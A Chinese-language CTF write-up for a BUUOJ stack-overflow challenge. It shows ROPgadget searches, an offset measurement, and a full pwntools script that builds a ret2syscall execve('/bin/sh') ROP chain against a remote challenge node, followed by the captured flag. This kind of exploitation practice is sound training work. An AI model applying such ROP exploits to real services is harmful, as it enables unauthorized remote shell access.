32位程序,开启NX保护
ida 反编译看main函数
跟进,就是一个 gets 函数
注意到左侧函数表有很多的函数,说明这个程序是静态链接的
静态链接就意味着没法去打 ret2libc 了,因为 ret2libc 需要用到动态链接库里面的系统函数
因此这里应该是要打 ret2syscall
找了一下,没有字符串 /bin/sh
ROPgadget --binary rop --string "/bin/sh"
因此我们还是需要手动写入 /bin/sh
我们要尽可能写到 bss 段,因为在没开pie 保护的情况下,bss 段的地址是不会变的
正常按照 ret2syscall 的思路来
先找等会儿传系统调用号的寄存器 eax
ROPgadget --binary rop --only "pop|ret" | grep "pop eax ; ret"
记录地址:
pop_eax = 0x080b8016
找一下有没有对内存地址的访问,有的话我们就可以拿来写东西
ROPgadget --binary rop --only "pop|ret" | grep "pop dword ptr"
找到一个对 [ecx] 写东西的 Gadget,记录该指令片段的地址:
pop_ptr_ecx = 0x0804b5ba
既然有对 [ecx] 操作的,那么我们就继续找弹出 ecx 的指令
这个指令是用来配合我们后面将 bss 段处的地址弹到 ecx 寄存器
ROPgadget --binary rop --only "pop|ret" | grep "pop ecx ; ret"
记录地址:
pop_ecx = 0x080de769
找三个连续进行 pop 的寄存器
这个就不用多说了,后面系统调用 execve 需要
ROPgadget --binary rop --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
也有,记录地址:
pop_edx_ecx_ebx = 0x0806ed00
拿 pwndbg 测一下偏移:
cyclic -l 0x61616165
offset = 16
找 32 位的系统调用:
ROPgadget --binary rop --only "int" | grep 0x80
记录地址:
int_0x80 = 0x0806c943
找一个具有写权限的段,一般都是在 bss 段
比如我们就从 0x80eb000 开始写
bss_addr = 0x80eb000
接下来就可以写 exp 了:
因为 pop dword ptr [ecx] 一次只能写入 4 个字节,所以我们分两次写入 /bin/sh
后面就是常规的 ret2syscall 了,即系统调用 execve
这里还是将 ROP 链一次性打进去
# @author:My6n
# @time:20250508
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./rop')
io = remote('node5.buuoj.cn',26082)
offset = 16
pop_eax = 0x080b8016
pop_ecx = 0x080de769
pop_ptr_ecx = 0x0804b5ba
pop_edx_ecx_ebx = 0x0806ed00
int_0x80 = 0x0806c943
bss_addr = 0x80eb000
payload = cyclic(offset)+p32(pop_ecx)+p32(bss_addr)+p32(pop_ptr_ecx)+b'/bin'+p32(pop_ecx)+p32(bss_addr+4)+p32(pop_ptr_ecx)+b'/sh\x00'+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.interactive()
可以打通
拿到 flag:flag{5e8f2131-b880-4f28-9da9-89976283f770}